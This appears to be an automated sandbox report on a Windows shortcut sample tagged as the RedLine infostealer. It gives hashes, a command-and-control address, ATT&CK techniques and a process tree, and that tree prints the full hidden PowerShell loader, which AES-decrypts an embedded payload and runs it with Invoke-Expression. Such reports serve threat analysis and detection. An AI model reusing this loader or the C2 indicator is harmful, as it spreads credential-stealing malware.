redline | b488b9f29cb8897a1854ca1ec2e943c99ab6724a825bfedf5485f147be6a9387

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-11-2024 03:06

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General

Target

b488b9f29cb8897a1854ca1ec2e943c99ab6724a825bfedf5485f147be6a9387.lnk
Size

3KB
MD5

b34d7dcf2fd1a08025934b2b3b60c4d3
SHA1

2d892b1de088baed8ae4df89536b7e197ea7d83e
SHA256

b488b9f29cb8897a1854ca1ec2e943c99ab6724a825bfedf5485f147be6a9387
SHA512

03bcf8eb554b5fcab7f843f3841c20a2a008d3dbdc5904577935122ff2c1fd86c975d9aaec6faaf9ed36354af663deaba39901fe4da700c74e8c4cead605cacd

Score

10^/10

redline cheat discovery execution infostealer

Malware Config

Extracted

Family

redline

Botnet

cheat

41.216.183.218:1912

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/4068-1214-0x0000000000400000-0x0000000000452000-memory.dmp	family_redline

Redline family
redline

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 772 created 3524	772	tmp857C.tmp	56

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	4560	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4560	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ByteLength.vbs	tmp857C.tmp

Executes dropped EXE 2 IoCs

pid	Process
772	tmp857C.tmp
4068	tmp857C.tmp

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 772 set thread context of 4068	772	tmp857C.tmp	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp857C.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp857C.tmp

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe
772	tmp857C.tmp

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	772	tmp857C.tmp
Token: SeDebugPrivilege	772	tmp857C.tmp

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 4560	4612	cmd.exe	84
PID 4612 wrote to memory of 4560	4612	cmd.exe	84
PID 4560 wrote to memory of 772	4560	powershell.exe	85
PID 4560 wrote to memory of 772	4560	powershell.exe	85
PID 4560 wrote to memory of 772	4560	powershell.exe	85
PID 772 wrote to memory of 4068	772	tmp857C.tmp	93
PID 772 wrote to memory of 4068	772	tmp857C.tmp	93
PID 772 wrote to memory of 4068	772	tmp857C.tmp	93
PID 772 wrote to memory of 4068	772	tmp857C.tmp	93
PID 772 wrote to memory of 4068	772	tmp857C.tmp	93
PID 772 wrote to memory of 4068	772	tmp857C.tmp	93
PID 772 wrote to memory of 4068	772	tmp857C.tmp	93
PID 772 wrote to memory of 4068	772	tmp857C.tmp	93

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3524
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\b488b9f29cb8897a1854ca1ec2e943c99ab6724a825bfedf5485f147be6a9387.lnk
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {param($a, $b) $KEYIV = 'k8XdzE5Qhcf2e9Ywp4VEDqcIiZgSnG82lQkfyUvgczlI5FEX7EEuaglnm6Og2iToSvxZ25pJBaUqiOYYZt6y2P51jaT8vBYceYxEgCkXencCyumIw0vb4ZDdW5f6FFU324g2HYnIZntCYhBhzD4wsQotd4P21kmAvwOoqsWXrDjj4tpcToqBzGtbJ5NOCsqJL8hpXhz7IUR1CFpqj7uKYt030bDNEw3'; $command = [System.Convert]::FromBase64String($a); $key = [System.Convert]::FromBase64String($b); $e = New-Object System.Security.Cryptography.AesManaged; $e.Key = $key; $e.IV = $command[0..15]; $f = $e.CreateDecryptor(); $g = $f.TransformFinalBlock($command[16..$command.Length], 0, $command.Length - 16); $h = [System.Text.Encoding]::UTF8.GetString($g); Invoke-Expression $h; }" -a "g1lXULknt2tFEJ9CWtSeuT8lpwEFw2kduv2dAdXnBvW9zQWYvllyH1IzQb17QpM0MRSxRM4iBrzRGSVUzbA9Lntnw+3R6C6XzbKH3sKg0xA54U4USXwc36MuqEzwr69ZA9nW8flo9QFTCFNjo4y1kIOULkZXzZGC6QAav/ljI5Z7Zf78xpG6FK5NMvelcmgXJwECeHMCAZ5vOxfjBw1m5XEmuUeL2eLSYegw3J5rGeo=" -b "jgM16vyg07nuWc5iJFexQsYoNWWiseIKj/77y2lZRJg="
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Users\Admin\AppData\Local\Temp\tmp857C.tmp
      "C:\Users\Admin\AppData\Local\Temp\tmp857C.tmp"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops startup file
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:772
- C:\Users\Admin\AppData\Local\Temp\tmp857C.tmp
  "C:\Users\Admin\AppData\Local\Temp\tmp857C.tmp"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iwxo1lvd.gax.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp857C.tmp

Filesize
6KB

MD5
699f560ef94b40660358d8266df4ece0

SHA1
91c9c7c8081f3744482e1c91e461b9801dd9fb8c

SHA256
8ac294da2b5fed0f7d472c1085839526e554f0fcb61dee906db7d3a7e614274a

SHA512
68f91d686d5aedc506540c925ed83157e88c1527c672350cb42ca959af30d0b7a250138a2297bb7e247cf1bb0b59b119bc0a59406b1c6c13761a2527cb2aa3b1

Download Submit
memory/772-36-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-78-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-22-0x0000000005360000-0x00000000053F2000-memory.dmp

Filesize
584KB

Download
memory/772-34-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-23-0x00000000052D0000-0x00000000052DA000-memory.dmp

Filesize
40KB

Download
memory/772-24-0x0000000006EB0000-0x0000000006FB2000-memory.dmp

Filesize
1.0MB

Download
memory/772-25-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-28-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-72-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-74-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-70-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-68-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-66-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-64-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-62-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-60-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-58-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-54-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-52-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-50-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-48-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-44-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-20-0x00000000008E0000-0x00000000008E8000-memory.dmp

Filesize
32KB

Download
memory/772-56-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-46-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-38-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-42-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-1205-0x00000000071E0000-0x0000000007234000-memory.dmp

Filesize
336KB

Download
memory/772-21-0x0000000005910000-0x0000000005EB4000-memory.dmp

Filesize
5.6MB

Download
memory/772-30-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-26-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-40-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-88-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-86-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-84-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-82-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-80-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-32-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-76-0x0000000006EB0000-0x0000000006FAC000-memory.dmp

Filesize
1008KB

Download
memory/772-1204-0x0000000007130000-0x000000000717C000-memory.dmp

Filesize
304KB

Download
memory/772-1203-0x00000000070C0000-0x0000000007132000-memory.dmp

Filesize
456KB

Download
memory/4068-1216-0x0000000005A50000-0x0000000005B5A000-memory.dmp

Filesize
1.0MB

Download
memory/4068-1215-0x0000000006870000-0x0000000006E88000-memory.dmp

Filesize
6.1MB

Download
memory/4068-1219-0x0000000005B60000-0x0000000005BAC000-memory.dmp

Filesize
304KB

Download
memory/4068-1218-0x00000000059C0000-0x00000000059FC000-memory.dmp

Filesize
240KB

Download
memory/4068-1217-0x0000000005960000-0x0000000005972000-memory.dmp

Filesize
72KB

Download
memory/4068-1214-0x0000000000400000-0x0000000000452000-memory.dmp

Filesize
328KB

Download
memory/4560-17-0x00007FFF59F70000-0x00007FFF5AA31000-memory.dmp

Filesize
10.8MB

Download
memory/4560-14-0x00007FFF59F70000-0x00007FFF5AA31000-memory.dmp

Filesize
10.8MB

Download
memory/4560-13-0x00007FFF59F70000-0x00007FFF5AA31000-memory.dmp

Filesize
10.8MB

Download
memory/4560-901-0x00007FFF59F70000-0x00007FFF5AA31000-memory.dmp

Filesize
10.8MB

Download
memory/4560-12-0x00000183BBA50000-0x00000183BBA72000-memory.dmp

Filesize
136KB

Download
memory/4560-2-0x00007FFF59F73000-0x00007FFF59F75000-memory.dmp

Filesize
8KB

Download
memory/4560-178-0x00007FFF59F73000-0x00007FFF59F75000-memory.dmp

Filesize
8KB

Download
memory/4560-1222-0x00007FFF59F70000-0x00007FFF5AA31000-memory.dmp

Filesize
10.8MB

Download